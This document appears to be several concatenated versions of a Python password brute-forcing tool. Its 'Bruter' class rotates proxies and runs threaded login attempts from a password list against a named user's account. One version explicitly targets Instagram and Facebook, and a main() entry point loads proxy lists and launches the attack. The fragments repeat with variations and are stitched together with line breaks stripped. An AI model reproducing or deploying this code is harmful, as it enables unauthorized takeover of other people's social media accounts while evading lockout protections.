def __init__(self, username: str, threads: int, passlist_path: str): self.is_alive = True self.is_found = False self.password: str = None self.username: str = username self.last_password: str = None self.bots_per_proxy = 0 self.total_threads: int = threads self.proxy_manager = ProxyManager() self.display = Display(username, passlist_path) self.password_manager = PasswordManager(username, passlist_path, threads, self.display) self.browsers: typing.List[Browser] = [] self.active_passwords: typing.List[str] = [] self.unstarted_browsers: typing.List[Browser] = [] # Locks self.lock_browsers = threading.RLock() self.lock_unstarted_browsers = threading.RLock() self.lock_active_passwords = threading.RLock() self.lock_password_manager = threading.RLock()
def __init__(self, username, threads, passlist_path): self.browsers = [] self.lock = RLock() self.password = None self.is_alive = True self.is_found = False self.bots_per_proxy = 0 self.username = username self.last_password = None self.active_passwords = [] self.proxy_manager = ProxyManager() self.display = Display(username, passlist_path) self.password_manager = PasswordManager(username, passlist_path, threads)
def main(): arguments = args() mode = arguments.mode username = arguments.username passlist = arguments.passlist proxylist = arguments.proxylist prune = arguments.prune stats = arguments.stats prune_db = prune > 0 if prune_db > 0 or stats: if prune_db > 0: prune_database(prune) if stats: display_database_stats() else: if proxylist: if not os.path.exists(proxylist): print("Invalid path to proxy list") exit() print(f"<<< Writing proxies to the database >>>") time.sleep(0.65) total_written = ProxyManager().write2db(proxylist) print(f"Proxies written to the database: {total_written}") time.sleep(0.65) total_proxies = len(database.Proxy().get_proxies()) if username and passlist and total_proxies: if not os.path.exists(passlist): print("Invalid path to password list") exit() Engine( username, modes[mode], passlist, not arguments.color ).start() else: if not proxylist or total_proxies == 0: print("No proxies in the database and no proxy list provided")
class Bruter(object): def __init__(self, username: str, threads: int, passlist_path: str): self.is_alive = True self.is_found = False self.password: str = None self.username: str = username self.last_password: str = None self.bots_per_proxy = 0 self.total_threads: int = threads self.proxy_manager = ProxyManager() self.display = Display(username, passlist_path) self.password_manager = PasswordManager(username, passlist_path, threads, self.display) self.browsers: typing.List[Browser] = [] self.active_passwords: typing.List[str] = [] self.unstarted_browsers: typing.List[Browser] = [] # Locks self.lock_browsers = threading.RLock() self.lock_unstarted_browsers = threading.RLock() self.lock_active_passwords = threading.RLock() self.lock_password_manager = threading.RLock() def manage_session(self): if self.password_manager.is_read: if not self.password_manager.list_size or self.is_found: self.password_manager.session.delete() else: if self.is_found: self.password_manager.session.delete() else: self.password_manager.session.write( self.password_manager.attempts, self.password_manager.passlist, ) def browser_manager(self): while self.is_alive: browsers: typing.List[Browser] = [] with self.lock_browsers: browsers = [br for br in self.browsers] for browser in browsers: if not self.is_alive: break if (Display.account_exists == None and Browser.account_exists != None): Display.account_exists = Browser.account_exists if not browser.is_active: if browser.is_attempted and not browser.is_locked: if browser.is_found and not self.is_found: self.password = browser.password self.is_found = True with self.lock_password_manager: self.password_manager.list_remove(browser.password) self.remove_browser(browser) else: if browser.start_time: if (time.time() - browser.start_time >= max_time_to_wait): browser.close() with self.lock_active_passwords: try: self.active_passwords.remove( browser.password) except ValueError: pass def prune_browsers(self, browser) -> None: """Remove all the browsers with the same password as the given browser""" with self.lock_browsers: for br in list(self.browsers): if br == browser: continue if br.password != browser.password: continue try: self.browsers.remove(br) except ValueError: pass br.close() br.proxy.decr_usage() self.proxy_manager.dispose(br.proxy) with self.lock_unstarted_browsers: for br in list(self.unstarted_browsers): if br.password == browser.password: try: self.unstarted_browsers.remove(br) except ValueError: pass def remove_browser(self, browser: Browser) -> None: self.proxy_manager.dispose(browser.proxy) with self.lock_browsers: try: self.browsers.remove(browser) except ValueError: pass with self.lock_active_passwords: try: self.active_passwords.remove(browser.password) except ValueError: pass if browser.is_attempted: self.prune_browsers(browser) def attack(self): attack_started = False proxy_per_pwd = 3 while self.is_alive: for pwd in self.password_manager.passlist: if not self.is_alive: break with self.lock_unstarted_browsers: if len(self.unstarted_browsers) >= self.total_threads: break with self.lock_active_passwords: if pwd in self.active_passwords: continue is_added = False for _ in range(proxy_per_pwd): with self.lock_unstarted_browsers: if len(self.unstarted_browsers) >= self.total_threads: break proxy = self.proxy_manager.get_proxy() if not proxy: continue with self.lock_unstarted_browsers: self.unstarted_browsers.append( Browser(self.username, pwd, proxy)) is_added = True if not is_added: break with self.lock_active_passwords: self.active_passwords.append(pwd) if not attack_started: self.display.info("Starting attack...") attack_started = True with self.lock_unstarted_browsers: for br in list(self.unstarted_browsers): with self.lock_browsers: if len(self.browsers) >= self.total_threads: break else: self.browsers.append(br) self.unstarted_browsers.remove(br) threading.Thread(target=br.attempt, daemon=True).start() def start_daemon_threads(self): attack = threading.Thread(target=self.attack) browser_manager = threading.Thread(target=self.browser_manager) password_manager = threading.Thread(target=self.password_manager.start) attack.daemon = True browser_manager.daemon = True password_manager.daemon = True attack.start() browser_manager.start() password_manager.start() self.display.info("Searching for proxies...") def stop_daemon_threads(self): self.password_manager.stop() def start(self): self.display.info("Initiating daemon threads...") self.start_daemon_threads() last_attempt = 0 while self.is_alive and not self.is_found: if (last_attempt == self.password_manager.attempts and self.password_manager.attempts): time.sleep(0.65) continue browsers = [] with self.lock_browsers: browsers = [br for br in self.browsers] for browser in browsers: self.display.stats( browser.password, self.password_manager.attempts, len(self.browsers), ) last_attempt = self.password_manager.attempts self.last_password = browser.password if not self.is_alive or self.is_found: break if (self.password_manager.is_read and not self.password_manager.list_size and not len(self.browsers)): self.is_alive = False def stop(self): self.is_alive = False self.manage_session() self.stop_daemon_threads() self.password_manager.session.is_busy = False
class Bruter(object): def __init__(self, username, threads, passlist_path): self.browsers = [] self.lock = RLock() self.password = None self.is_alive = True self.is_found = False self.bots_per_proxy = 0 self.username = username self.last_password = None self.active_passwords = [] self.proxy_manager = ProxyManager() self.display = Display(username, passlist_path) self.password_manager = PasswordManager(username, passlist_path, threads) def manage_session(self): if self.password_manager.is_read: if not self.password_manager.list_size or self.is_found: self.password_manager.session.delete() else: if self.is_found: self.password_manager.session.delete() else: self.password_manager.session.write(self.password_manager.attempts, self.password_manager.passlist) def browser_manager(self): while self.is_alive: for browser in self.browsers: if not self.is_alive: break if Display.account_exists == None and Browser.account_exists != None: Display.account_exists = Browser.account_exists if not browser.is_active: password = browser.password if browser.is_attempted and not browser.is_locked: if browser.is_found and not self.is_found: self.password = password self.is_found = True with self.lock: self.password_manager.list_remove(password) else: with self.lock: self.proxy_manager.bad_proxy(browser.proxy) self.remove_browser(browser) else: if browser.start_time: if time() - browser.start_time >= max_time_to_wait: browser.close() def remove_browser(self, browser): if browser in self.browsers: with self.lock: self.browsers.pop(self.browsers.index(browser)) self.active_passwords.pop( self.active_passwords.index(browser.password) ) def attack(self): proxy = None is_attack_started = False while self.is_alive: browsers = [] for password in self.password_manager.passlist: if not self.is_alive: break if not proxy: proxy = self.proxy_manager.get_proxy() self.bots_per_proxy = 0 if self.bots_per_proxy >= max_bots_per_proxy: proxy = None if not proxy: continue if not password in self.active_passwords and password in self.password_manager.passlist: browser = Browser(self.username, password, proxy) browsers.append(browser) self.bots_per_proxy += 1 if not is_attack_started: self.display.info('Starting attack ...') is_attack_started = True with self.lock: self.browsers.append(browser) self.active_passwords.append(password) for browser in browsers: thread = Thread(target=browser.attempt) thread.daemon = True try: thread.start() except: self.remove_browser(browser) def start_daemon_threads(self): attack = Thread(target=self.attack) browser_manager = Thread(target=self.browser_manager) proxy_manager = Thread(target=self.proxy_manager.start) password_manager = Thread(target=self.password_manager.start) attack.daemon = True proxy_manager.daemon = True browser_manager.daemon = True password_manager.daemon = True attack.start() proxy_manager.start() browser_manager.start() password_manager.start() self.display.info('Searching for proxies ...') def stop_daemon_threads(self): self.proxy_manager.stop() self.password_manager.stop() def start(self): self.display.info('Initiating daemon threads ...') self.start_daemon_threads() last_attempt = 0 while self.is_alive and not self.is_found: if last_attempt == self.password_manager.attempts and self.password_manager.attempts: sleep(1.5) continue for browser in self.browsers: self.display.stats( browser.password, self.password_manager.attempts, len(self.browsers)) last_attempt = self.password_manager.attempts self.last_password = browser.password if not self.is_alive or self.is_found: break if self.password_manager.is_read and not self.password_manager.list_size and not len(self.browsers): self.is_alive = False def stop(self): self.is_alive = False self.manage_session() self.stop_daemon_threads() self.password_manager.session.is_busy = False
class Bruter: def __init__(self, service, username, threads, passlist_path): self.browsers = [] self.lock = RLock() self.password = None self.is_alive = True self.is_found = False self.bots_per_proxy = 0 self.service = service.casefold().strip() self.username = username self.last_password = None self.active_passwords = [] self.proxy_manager = ProxyManager() self.display = Display(username, passlist_path) self.password_manager = PasswordManager(service, username, passlist_path, threads, self.display) def manage_session(self): if self.password_manager.is_read: if not self.password_manager.list_size or self.is_found: self.password_manager.session.delete() else: if self.is_found: self.password_manager.session.delete() else: self.password_manager.session.write( self.password_manager.attempts, self.password_manager.passlist) def browser_manager(self): while self.is_alive: for browser in self.browsers: if not self.is_alive: break account_exists = self.create_browser( None, None).__class__.account_exists if Display.account_exists is None and account_exists is not None: Display.account_exists = account_exists if not browser.is_active: password = browser.password if browser.is_attempted and not browser.is_locked: if browser.is_found and not self.is_found: self.password = password self.is_found = True with self.lock: self.password_manager.list_remove(password) else: with self.lock: self.proxy_manager.bad_proxy(browser.proxy) self.remove_browser(browser) else: if browser.start_time: if time() - browser.start_time >= max_time_to_wait: browser.close() def remove_browser(self, browser): if browser in self.browsers: with self.lock: self.browsers.pop(self.browsers.index(browser)) self.active_passwords.pop( self.active_passwords.index(browser.password)) def create_browser(self, password, proxy): from lib.browsers.instagram import InstagramBrowser from lib.browsers.facebook import FacebookBrowser if self.service == 'instagram': return InstagramBrowser(self.username, password, proxy) if self.service == 'facebook': return FacebookBrowser(self.username, password, proxy) else: self.display.warning('Browser not found for service {}'.format( self.service)) raise RuntimeError('') def attack(self): proxy = None is_attack_started = False while self.is_alive: browsers = [] for password in self.password_manager.passlist: if not self.is_alive: break if not proxy: proxy = self.proxy_manager.get_proxy() self.bots_per_proxy = 0 if self.bots_per_proxy >= max_bots_per_proxy: proxy = None if not proxy: continue if password not in self.active_passwords and password in self.password_manager.passlist: browser = self.create_browser(password, proxy) browsers.append(browser) self.bots_per_proxy += 1 if not is_attack_started: self.display.info('Starting attack ...') is_attack_started = True with self.lock: self.browsers.append(browser) self.active_passwords.append(password) for browser in browsers: thread = Thread(target=browser.attempt) thread.daemon = True try: thread.start() except: self.remove_browser(browser) def start_daemon_threads(self): attack = Thread(target=self.attack) browser_manager = Thread(target=self.browser_manager) proxy_manager = Thread(target=self.proxy_manager.start) password_manager = Thread(target=self.password_manager.start) attack.daemon = True proxy_manager.daemon = True browser_manager.daemon = True password_manager.daemon = True attack.start() proxy_manager.start() browser_manager.start() password_manager.start() self.display.info('Searching for proxies ...') def stop_daemon_threads(self): self.proxy_manager.stop() self.password_manager.stop() def start(self): self.display.info('Initiating daemon threads ...') self.start_daemon_threads() last_attempt = 0 while self.is_alive and not self.is_found: if last_attempt == self.password_manager.attempts and self.password_manager.attempts: sleep(1.5) continue for browser in self.browsers: self.display.stats(browser.password, self.password_manager.attempts, len(self.browsers)) last_attempt = self.password_manager.attempts self.last_password = browser.password if not self.is_alive or self.is_found: break if self.password_manager.is_read and not self.password_manager.list_size and not len( self.browsers): self.is_alive = False def stop(self): self.is_alive = False self.manage_session() self.stop_daemon_threads() self.password_manager.session.is_busy = False